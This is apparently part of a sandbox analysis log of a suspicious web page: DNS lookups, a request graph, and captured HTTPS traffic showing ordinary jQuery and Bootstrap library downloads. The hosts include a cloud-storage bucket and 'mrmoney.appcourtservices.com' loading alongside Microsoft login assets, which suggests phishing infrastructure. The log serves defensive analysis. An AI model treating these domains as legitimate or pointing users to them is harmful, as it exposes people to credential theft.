Dec 24, 2024 11:55:19.976031065 CET	1.1.1.1	192.168.2.16	0xb024	No error (0)	cos.na-siliconvalley.myqcloud.com		170.106.97.198	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:19.976031065 CET	1.1.1.1	192.168.2.16	0xb024	No error (0)	cos.na-siliconvalley.myqcloud.com		170.106.97.195	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:19.976031065 CET	1.1.1.1	192.168.2.16	0xb024	No error (0)	cos.na-siliconvalley.myqcloud.com		170.106.97.196	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:20.461738110 CET	1.1.1.1	192.168.2.16	0x22ab	No error (0)	mrmoney.appcourtservices.com			65	IN (0x0001)	false
Dec 24, 2024 11:55:20.461747885 CET	1.1.1.1	192.168.2.16	0x878	No error (0)	mrmoney.appcourtservices.com		104.21.33.126	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:20.461747885 CET	1.1.1.1	192.168.2.16	0x878	No error (0)	mrmoney.appcourtservices.com		172.67.145.45	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:25.977020025 CET	1.1.1.1	192.168.2.16	0x9ae8	No error (0)	mrmoney.appcourtservices.com		172.67.145.45	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:25.977020025 CET	1.1.1.1	192.168.2.16	0x9ae8	No error (0)	mrmoney.appcourtservices.com		104.21.33.126	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:25.979125023 CET	1.1.1.1	192.168.2.16	0x673b	No error (0)	mrmoney.appcourtservices.com			65	IN (0x0001)	false
Dec 24, 2024 11:55:29.004090071 CET	1.1.1.1	192.168.2.16	0xbfd6	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 11:55:29.004090071 CET	1.1.1.1	192.168.2.16	0xbfd6	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 11:55:29.004090071 CET	1.1.1.1	192.168.2.16	0xbfd6	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:29.004519939 CET	1.1.1.1	192.168.2.16	0x70f7	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 11:55:29.004519939 CET	1.1.1.1	192.168.2.16	0x70f7	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 11:55:29.065918922 CET	1.1.1.1	192.168.2.16	0x9a5	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 11:55:29.065918922 CET	1.1.1.1	192.168.2.16	0x9a5	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:31.439805984 CET	1.1.1.1	192.168.2.16	0xb626	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 11:55:31.439805984 CET	1.1.1.1	192.168.2.16	0xb626	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 11:55:31.439805984 CET	1.1.1.1	192.168.2.16	0xb626	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:31.441313028 CET	1.1.1.1	192.168.2.16	0xb7c8	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 11:55:31.441313028 CET	1.1.1.1	192.168.2.16	0xb7c8	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 11:55:31.674858093 CET	1.1.1.1	192.168.2.16	0x7721	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 11:55:31.674858093 CET	1.1.1.1	192.168.2.16	0x7721	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

code.jquery.com

stackpath.bootstrapcdn.com

maxcdn.bootstrapcdn.com

cdnjs.cloudflare.com

5889631857-1323985617.cos.na-siliconvalley.myqcloud.com

mrmoney.appcourtservices.com

aadcdn.msftauth.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49706	151.101.194.137	443	6844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 10:55:16 UTC	602	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: null sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 10:55:16 UTC	611	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 597618 Date: Tue, 24 Dec 2024 10:55:16 GMT X-Served-By: cache-lga21984-LGA, cache-nyc-kteb1890074-NYC X-Cache: HIT, HIT X-Cache-Hits: 903, 0 X-Timer: S1735037717.546064,VS0,VE1 Vary: Accept-Encoding
2024-12-24 10:55:16 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2024-12-24 10:55:16 UTC	1378	IN	Data Raw: 5b 61 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 72 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 62 2c 63 2c 62 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 Data Ascii: [a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushSta
2024-12-24 10:55:16 UTC	1378	IN	Data Raw: 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6b 2e 63 61 6c 6c 28 61 29 29 26 26 28 21 28 62 3d 65 28 61 29 29 7c 7c 28 63 3d 6c 2e 63 61 6c 6c 28 62 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 62 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 6d 2e 63 61 6c 6c 28 63 29 3d 3d 3d 6e 29 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 66 6f 72 28 62 20 69 6e 20 61 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 2b 22 22 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: ject Object]"!==k.call(a))&&(!(b=e(a))\|\|(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a\|\|"function"==typ
2024-12-24 10:55:16 UTC	1378	IN	Data Raw: 6e 6f 77 2c 73 75 70 70 6f 72 74 3a 6f 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 2e 66 6e 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 2c 72 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 6a 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 61 29 7b 76 61 72 20 62 3d 21 21 61 26 26 22 6c 65 Data Ascii: now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"le
2024-12-24 10:55:16 UTC	1378	IN	Data Raw: 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4c 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4c 2b 22 7c 5b 2a 5d 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4e 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4b 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4b 2b 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 2b 4b Data Ascii: ")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"\|[])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+K+"(even\|odd\|(([+-]\|)(\\d)n\|)"+K+"(?:([+-]\|)"+K+"*(\\d+)\|))"+K
2024-12-24 10:55:16 UTC	1378	IN	Data Raw: 3d 3d 77 26 26 31 31 21 3d 3d 77 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d 28 62 29 2c 62 3d 62 7c 7c 6e 2c 70 29 29 7b 69 66 28 31 31 21 3d 3d 77 26 26 28 6c 3d 5a 2e 65 78 65 63 28 61 29 29 29 69 66 28 66 3d 6c 5b 31 5d 29 7b 69 66 28 39 3d 3d 3d 77 29 7b 69 66 28 21 28 6a 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 29 72 65 74 75 72 6e 20 64 3b 69 66 28 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 6a 29 2c 64 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6a 3d 73 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 74 28 62 2c 6a 29 26 26 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 Data Ascii: ==w&&11!==w)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m(b),b=b\|\|n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push
2024-12-24 10:55:16 UTC	1378	IN	Data Raw: 20 6d 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 69 6e 70 75 74 22 3d 3d 3d 63 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 63 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 63 29 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 62 3f 62 2e 70 61 Data Ascii: ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c\|\|"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.pa
2024-12-24 10:55:16 UTC	1378	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 5f 2c 61 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 Data Ascii: getElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a)
2024-12-24 10:55:16 UTC	1378	IN	Data Raw: 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 4b 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 4a 2b 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 75 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 7e 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e Data Ascii: .push("[^$]="+K+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.push("\\["+K+"(?:value\|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length\|\|q.push("~="),a.querySelectorAll(":checked").length\|\|q.push(":checked"),a.querySelectorAll("a#"+u+"+").
2024-12-24 10:55:16 UTC	1378	IN	Data Raw: 65 29 69 66 28 62 3d 3d 3d 61 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 42 3d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 64 3d 21 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 3f 64 3a 28 64 3d 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 3d 3d 3d 28 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 29 3f 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 3a 31 2c 31 26 64 7c 7c 21 63 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 Data Ascii: e)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument\|\|a)===(b.ownerDocument\|\|b)?a.compareDocumentPosition(b):1,1&d\|\|!c.sortDetached&&b.compareDocu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49709	104.18.11.207	443	6844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 10:55:16 UTC	613	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 10:55:16 UTC	967	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 10:55:16 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 10/04/2024 02:53:43 CDN-EdgeStorageId: 1029 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 1 CDN-RequestId: c6c8a086d090f1d2baac8a7b0c894894 CDN-Cache: HIT CF-Cache-Status: HIT Age: 2421321 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8f700ee06d0343ff-EWR alt-svc: h3=":443"; ma=86400
2024-12-24 10:55:16 UTC	402	IN	Data Raw: 37 62 65 63 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7bec/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2024-12-24 10:55:16 UTC	1369	IN	Data Raw: 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 Data Ascii: efine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.def
2024-12-24 10:55:16 UTC	1369	IN	Data Raw: 6e 2c 50 6e 2c 6a 6e 2c 48 6e 2c 4c 6e 2c 52 6e 2c 78 6e 2c 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 Data Ascii: n,Pn,jn,Hn,Ln,Rn,xn,Wn,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUI
2024-12-24 10:55:16 UTC	1369	IN	Data Raw: 68 61 6e 64 6c 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 